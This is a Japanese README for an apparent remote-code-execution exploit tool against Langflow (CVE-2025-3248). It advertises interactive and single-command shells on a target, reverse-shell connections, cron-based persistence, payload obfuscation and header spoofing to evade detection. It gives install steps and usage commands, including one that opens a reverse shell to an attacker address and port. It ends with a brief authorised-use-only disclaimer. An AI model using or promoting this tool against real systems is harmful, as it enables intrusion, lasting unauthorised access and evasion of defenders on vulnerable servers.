Langflow RCE エクスプロイト (CVE-2025-3248)

Langflow 向けリモートコード実行エクスプロイト (CVE-2025-3248)

特徴

• 自動脆弱性検出
• 複数のエクスプロイトモード：
  • 対話型シェル
  • 単一コマンド実行
  • リバースシェル接続
• ファイルアップロード機能
• カラー化されたユーザーインターフェース
• 複数のリバースシェル手法
• コマンド履歴の永続化

📌 変更履歴 (v2.0)

✨ 新機能：

• 高度なペイロードシステム（5つの実行方法）
• ファイルアップロード/ダウンロード（Base64エンコーディング対応）
• 持続性：cronジョブによる永続化（persistコマンド）
• 対話型シェルの強化：
  • upload local_path remote_path
  • download remote_path local_path
  • clear コマンド（端末クリア）

🛡️ セキュリティ強化：

• 自動ペイロード難読化（Base64 + ランダムバリアント）
• リクエストごとのヘッダーローテーション：
  • ランダムな User-Agent
  • 偽装された X-Forwarded-For IP
• HTTPSバイパス（自己署名証明書対応）
• リダイレクトなし（検出回避）

⚡ 技術的改善：

• マルチステージ脆弱性検証
• 不安定な接続に対するエラーハンドリング強化
• セッションログの完全出力（exploit_log.txt）
• コマンド履歴の永続化（.langflow_shell_history）

📊 バージョン比較：

🐛 バグ修正：

• HTTPS接続の問題を修正
• コマンド内の特殊文字の処理を改善
• リバースシェルの信頼性を安定化

必要条件

• Python 3.6 以上
• 必要なライブラリ：
  • requests
  • colorama
  • readline

インストール

git clone https://github.com/0-d3y/langflow-rce-exploit.git
cd langflow-rce-exploit
pip install -r requirements.txt

使い方

python exploit.py <URL> [options]

利用可能なオプション：

使用例：

1. 脆弱性の確認：

python exploit.py http://target.com

2. 対話型シェルの開始：

python exploit.py http://target.com --shell

3. 単一コマンドの実行：

python exploit.py http://target.com --command "whoami"

4. リバースシェルの起動：

python exploit.py http://target.com --reverse 192.168.1.100 4444

スクリーンショット

Image.png)

警告

⚠️ このツールは教育目的および許可されたテスト目的のみで使用してください。
⚠️ 自分が所有していない、またはテスト許可を得ていないシステムに対する不正使用は違法です。

ライセンス

このプロジェクトはMITライセンスの下で提供されています。詳細は LICENSE ファイルを参照してください。

作者

• Mr.SaMi
  
  

貢献

プルリクエストは歓迎します。大きな変更を行う場合は、まずIssueを開いて変更内容について議論してください。